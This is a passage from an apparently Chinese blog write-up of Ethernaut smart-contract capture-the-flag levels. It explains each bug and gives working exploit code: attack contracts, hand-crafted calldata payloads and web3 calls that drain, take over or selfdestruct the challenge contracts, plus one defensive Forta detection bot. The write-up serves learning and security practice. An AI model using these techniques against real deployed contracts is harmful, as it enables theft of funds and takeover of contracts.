// approve token1 and token2
await contract.approve(instance, 1000);

// swap all token1
await contract.swap(token3, token1, 1);
// check token1 balance in contract
(await contract.balanceOf(token1, instance)).toString();

// token3.burn(instane, 1);

// swap all token2
await contract.swap(token3, token2, 1);
// check token2 balance in contract
(await contract.balanceOf(token2, instance)).toString();
// 这里会发现 token2 并不是 0,而是 50。这是因为我们灌进去的 token3 贬值了
// 所以我们需要用更多的 token3 把 token2 换出来
// 我当时没算好,所以 swap(token2,token3,3) 之后又 swap(token2,token3,7)
// 总共是用我的 10 个 token2 换了 instance 的 0 个 token3 出来
// 用下面这行应该也能达标
await contract.swap(token2, token3, 10);
// 这样 instance 里 token2 : token3 = 60 : 3 = 20 : 1
// 我们只需要用 3 个 token3 就可以换出 instance 里 剩下的 60 个 token2 了

// -> remix 里 token3.mint(player, 3);
await contract.swap(token3, token2, 3);

做完这道题我才理解代币到底是干啥的…比如说有很值钱的 token1 与 token2,在 dex 交换时没有检测好币类,让非法币混入了池里,token1/2 就会被 token3 大量替代

同样,如果没有做好浮点数约束,也会造成资金的损失..

链子还是蛮有意思的 :D

24 Puzzle Wallet

漏洞类型:代理合约slot冲突

twm:代理合约存储槽冲突

这代码好长..这之后的题做的都懵懵的,之后对合约有一定的了解之后再回过头来看吧。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// invoke PuzzleProxy.proposeNewAdmin() to change `owner` in PuzzleWallet
await web3.eth.sendTransaction({from: player, to: instance, data: 'a63767460000000000000000000000009a80a78bebE92EF9cDfC4CA116fC4925237fDbd0'});

// add player to whitelist
await contract.addToWhitelist(player);

// multicall calldata
let multicall = 'ac9650d8000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000';

// invoke multicall x2, and each multicall will invoke deposit
// msg.value will be used twice (add 0.002 eth), but we only need to send it once (0.001 eth)
await web3.eth.sendTransaction({from: player, to: instance, data: multicall, value: toWei('0.001')});

// check balance of player, should be 0.002 eth
(await contract.balances(player)).toString();

// transfer contract balance to player
await contract.execute(player, toWei('0.002'), '0x0');

// check balance of contract, shoule be zero
(await contract.balances(instance)).toString();

// change `admin` in PuzzleProxy
await contract.setMaxBalance(player);

25 Motorbike

漏洞类型:代理合约context错误

twm:利用代理合约上下文绕过限制

这道题使用了 ERC1967 ,ERC1967 提供了一种不改变合约地址而升级合约的标准方式。而在 ERC1967 中牵扯到了两种合约:代理合约与逻辑合约。

代理合约的作用是保持合约地址不变,同时通过更新 _IMPLEMENTATION_SLOT 中的地址来改变其指向的逻辑合约,实现合约的升级。在本题中,Motorbike 是代理合约(proxy contract),它在 constructor 函数中设置了逻辑合约的地址,并将逻辑合约初始化;还在 fallback 函数中捕获所有与合约接口不匹配的调用,并移交给 logic 合约去处理。而 engine 是逻辑合约(implementation/logic contract)。

以上是基础知识,我们来看一下这道题该怎么做。

首先,题目要求我们 selfdestruct 掉 engine 这个合约,而 engine 合约中并没有 selfdestruct 这个函数。但通过阅读代码我们可以看到,engine 合约在 _upgradeToAndCall 函数中调用了 “升级后的合约地址的 data 这一函数选择器代表的函数”,如果我们可以把升级后的合约地址指向我们的恶意合约 evil,然后在 evil 中设置 selfdestruct,那么就可以达成我们的目的了。

但题目还设置了一条防线:调用 upgradeToAndCall 的用户必须是 upgrader,而 motorbike 在实例化的时候就已经调用过一次 initialize 了,而 initializer 这个modifier 限定了这个初始化函数只能被调用一次。看起来我们没有办法改变 upgrader了。

但实际上,proxy contract的上下文中,initialize 函数确实已经被调用过了,但在 engine 这个 logic contract 的上下文中并没有被调用过。因此我们可以直接找到 engine 的合约地址,然后主动调用 initialize 函数。

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Engine {
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Hack {
Engine private engine;

constructor(address target) {
engine = Engine(target);
}

function hack() external {
engine.initialize();
engine.upgradeToAndCall(address(this), abi.encodeWithSelector(this.destruct.selector));
}

function destruct() external {
selfdestruct(payable(msg.sender));
}
}

但这道题貌似现在出了些认证问题,我们可以在etherscan上看到这个合于确实调用了自毁函数,但好像没有执行自会,因此仍然提交不通过..

26 DoubleEntryPoint

这道题的主要合约为 DoubleEntryPoint(简称DEP),该合约持有 DET 这种代币,同时设计了 CryptoVault 这个合约用来管理 DET 代币,在 CryptoVault 中用户可以清理走合约中的非 underlying 代币(underlying 代币也是合约自定义的,是用来维护合约的、不可清理的代币)。而本题目想让我们利用Forta来监控 DEP 的行为,防止 underlying 代币被清理,从而导致合约不可用。

当我们调用 sweepToken(LGT_address) 时,sweepToken 会调用 LegacyToken.transfer,

而此时 LegacyToken.delegate 已经被设置为了 DEP 合约的实例地址,因此 LegacyToken.transfer 会调用 DEP.delegateTransfer(sweptTokensRecipient, token.balanceOf(CryptoVault.address), CryptoVault.address),

此时如果 CryptoVault 中存在 DET,就会被全数转走。这是一个典型的“代币双重入口”漏洞,即通过操纵一个代币的转账逻辑间接影响另一个代币的行为。

防御起来也很简单,只要让 DEP 中的 delegateTransfer 的 origSender 不要是 CryptoVault 就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
address private cryptoVault;
IForta iforta;

constructor() public {
cryptoVault = 0xe0B40efa39E4B61a9141AFbe95B54a113A1000CE;
iforta = IForta(0xb76adbE51242C49306D9C9EB929F8f3E508c5f82);
}

function handleTransaction(address user, bytes calldata msgData) external override {
address origSender;
assembly {
origSender := calldataload(0xa8)
}

if(origSender == cryptoVault) {
IForta(msg.sender).raiseAlert(user);
}
}
}

27 Good Samaritan

这个合约是一个“好心的 Samaritan 人”(简称 S人)模板,这个 S人有一个钱包和一种代币,并且初始就有一百万个币。并且如果你问他要10个币,他会无私的捐款给你;即使他也穷得响叮当了、穷的不多于10个币,S人仍然会把自己剩余的钱捐给你。

现在我们是恶意用户,想要诈骗S人这一百万个币,但如果通过donate10来诈骗,需要调用十万次requestDonation,因此我们需要想一个走 catch 途径的方式。

只需要实现 INotifyable 接口, 然后在 amount 等于 10 的时候 revert NotEnoughBalance error, 这样 GoodSamaritan 就会再触发一次转账, 将钱包内所有的钱转走。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

error NotEnoughBalance();

interface INotifyable {
function notify(uint256 amount) external;
}

interface GoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}

contract Hack is INotifyable {
address target = 0xed5Ad44F9274b4be60e2c017FB72be94a8D1857D;
GoodSamaritan gs;

constructor() {
gs = GoodSamaritan(target);
}

function attack() external {
gs.requestDonation();
}

function notify(uint256 amount) pure external {
if(amount == 10) {
revert NotEnoughBalance();
}
}
}

28 GateKeeper Three

首先我们发现这个构造函数 construct0r 居然写错了,并且还用的public,所以我们写个 evilContract 调用一下 construct0r 就能将 owner 设置成 evilContract 的地址。

GateOne 要求调用者是 owner,但源头不是owner。很简单,我们通过 evilContract 操作即可。

GateTwo 要求 allowEntrance 为 true。只要 createTrick 与 getAllowance 在同一次 function(交易) 内执行,block.timestamp 就是一样的。

GateThree 要求该合约超过 0.001 ether,并且发给 evilContract 0.001 ether 失败。

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperThree {
function construct0r() external;
function createTrick() external;
function getAllowance(uint256 _password) external;
function enter() external;
}

contract evilContract {
address target = 0x85bBddCADB43AB650d91eb9658681aD70c721407;
GatekeeperThree victim;

constructor() {
victim = GatekeeperThree(target);
}

function hack() payable external {
require(msg.value > 0.001 ether);
// gateOne
victim.construct0r();

// gateTwo
victim.createTrick();
victim.getAllowance(block.timestamp);

// gateThree
payable(address(victim)).transfer(msg.value);

// hack
victim.enter();
}

receive() external payable {
revert();
}
}

29 Switch

这道题要求我们掌握 CALLDATA 是如何编码的。所以我们先来恶补一下 calldata 的知识。

当合约A调用合约B,这条调用信息会被打包成一条交易信息,广播给区块链上的每个节点,并放入这些节点的交易池中;当前一个区块验证/挖掘完毕,所有节点会选择自己池中的一组交易信息,初步验证gas、余额等信息后生成一个候选block,在生成候选区块的同时,节点会启动EVM执行交易;当满足PoW后,节点会广播自己的候选区块让其他人验证;

而合约A调用B时,A会构建 CALLDATA,而B则通过 CALLDATA 来判断 A 调用了自己的哪一个 function。

现在我们已经了解了 CALLDATA 的应用场景,接下来我们看一下它长什么样子(编码方式):

1
2
3
0xbabecafe  ->  (keccak(function))[:4]
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 -> 其他数据
...

上面是一个例子,CALLDATA 由四字节的函数签名和数据组成,具体怎么编码可以看这篇

回到这道题,我们肯定是需要调用 turnSwitchOn 来打开开关,但是这个函数限定了 onlythis,也就是说我们需要让目标合约自己调用 turnSwitchOn

可以看到 flipSwitch 有自己调用自己的 call 命令,但是需要绕过一些 modifier

首先我们来看一下这几个函数的签名:

1
2
3
4
5
6
await web3.utils.keccak256("turnSwitchOff()")
'0x20606e15b70f0894e0e83ae9593ae406a94abb5adcfcf0d169c6784f02198dc3'
await web3.utils.keccak256("turnSwitchOn()")
'0x76227e12b0f9524a1cdf8423a63057ea998f18f618846d452f0caf8339009449'
await web3.utils.keccak256("flipSwitch(bytes)")
'0x30c13adec91872243f797e6f9ca682ad108854e1f771ca6bee08c6550c7198d7'

我们希望调用 flipSwitch 函数,因此我们会先在头部四字节写下0x30c13ade,然后因为 bytes 是动态变量,因此我们会用 32 字节来记录 offset,32字节记录 length,然后是实际 data

1
2
3
4
0x30c13ade
0000000000000000000000000000000000000000000000000000000000000020 <- offset
0000000000000000000000000000000000000000000000000000000000length <- length
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- 实际 data

接着我们希望调用 turnSwitchOn 函数,所以实际 data 处我们希望是 turnSwitchOn 的标识符

1
2
3
4
0x30c13ade
0000000000000000000000000000000000000000000000000000000000000020 <- offset
0000000000000000000000000000000000000000000000000000000000000004 <- length
76227e1200000000000000000000000000000000000000000000000000000000 <- 实际 data

但 filpSwtich 被 onlyOff 修饰了,我们需要绕过这个修饰符。而这个修饰符中使用 calldatacopy(t,s,f),将 offset = s 处的 f 个字节拷贝到 t 地址处。而 calldatacopy(selector, 68, 4) 正好是我们现在 76227e12 的位置,我们需要在这写下 keccak256(“turnSwitchOff()”) 也就是 20606e15

之后,我们修改一下offset就能改变data的位置

1
2
3
4
5
6
0x30c13ade
0000000000000000000000000000000000000000000000000000000000000060 <- offset
0000000000000000000000000000000000000000000000000000000000000000 <- padding
20606e1500000000000000000000000000000000000000000000000000000000 <- bypass
0000000000000000000000000000000000000000000000000000000000000004 <- length
76227e1200000000000000000000000000000000000000000000000000000000 <- 实际 data

exp如下

1
web3.eth.sendTransaction({from: player, to: instance, data: "30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"})

30 HigherOrder

跟上一题差不多,也是 calldata 可以被我们人为操控进而达成一些目的

soliditylang 上两个 Yul 函数的介绍

1
2
sstore(p, v)     storage[p] := v
calldataload(p) 从位置p开始的调用数据(32字节)
1
2
3
4
await web3.utils.keccak256("registerTreasury(uint8)")
'0x211c85abbbaf9884d77268c011d56de0d4b5e816ac06c84275c1aadd7eab81c5'
await web3.utils.keccak256("claimLeadership()")
'0x5b3e8fe738d49181e7fc102771232e813fa1ae1daa69c894601a0170e188ff95'

所以我们构造data为

1
2
0x211c85ab
0000000000000000000000000000000000000000000000000000000000000100

就可以绕过 treasury > 255 的检测了。

然后调用 claimLeadership 就行了

1
0x5b3e8fe7

exp 如下

1
2
3
await web3.eth.sendTransaction({from: player, to: instance, data: "0x211c85ab0000000000000000000000000000000000000000000000000000000000000100"})

await web3.eth.sendTransaction({from: player, to: instance, data: "0x5b3e8fe7"})

31 Stake

本题要求我们:

  1. Stake 合约的 ETH 大于 0
  2. totalStaked 需要大于合约的 ETH
  3. 我们必须成为 Staker
  4. 我们的 staked balance 为 0

StakeWETH 中的两个 abi:

0xdd62ed3e = allowance
0x23b872dd = transferFrom

对于第一点,我们可以调用 StakeETH 向合约转账,当然也可以调用自毁函数进行强制转账

对于第二点,由于 StakeWETH 函数被调用后没有检查 WETH.call 是否成功,所以我们可以实现零成本增加 totalStake

对于第三点,我们只需要调用 StakeETH 就能顺带成为 Staker

对于第四点,只要调用 unStake 全部取出就好了。

我们可以看以下几点:

getBalance(stake): Stake 合约的 ETH

totalStaked: totalStaked

Stakers[player]: 我们是不是 Staker

UserStake[player]: 我们的 staked balance

所以我们的逻辑如下:

用其他合约调用 WETH.allowance(0.0012 ether),再用其他合约调用 StakeWETH(0.0012 ether),同时自毁这个合约。这样,在不增加 UserStake[player] 的前提下,增加了 totalStaked,同时增加了合于存储的 ETH,满足了第一二点

我们自己调用 StakeETH(0.0011 ether), 增加了 totalStaked 和 Stake 合约的 ETH,将我们自己设置为 Staker,满足了第三点

我们自己再调用 Unstak(0,0011 ether),将我们的 staked balance 清零,满足了第四点

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface Stake {
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
}

contract Attack {
address target = 0xF5B752EfD47fDCd58da29a3389FF4E08484B6a45;
address weth_address = 0xCd8AF4A0F29cF7966C051542905F66F5dca9052f;
Stake stake;
IERC20 weth;

constructor() {
weth = IERC20(weth_address);
stake = Stake(target);
}

function attack() public payable {
require(msg.value == 0.001 ether);
weth.approve(address(stake), 0.0012 ether);
stake.StakeWETH(0.0012 ether);
selfdestruct(payable(address(stake)));
}
}
1
2
await contract.StakeETH({value: toWei("0.0011")});
await contract.Unstake(toWei("0.0011"));
-------------文章就到这里啦!感谢您的阅读XD-------------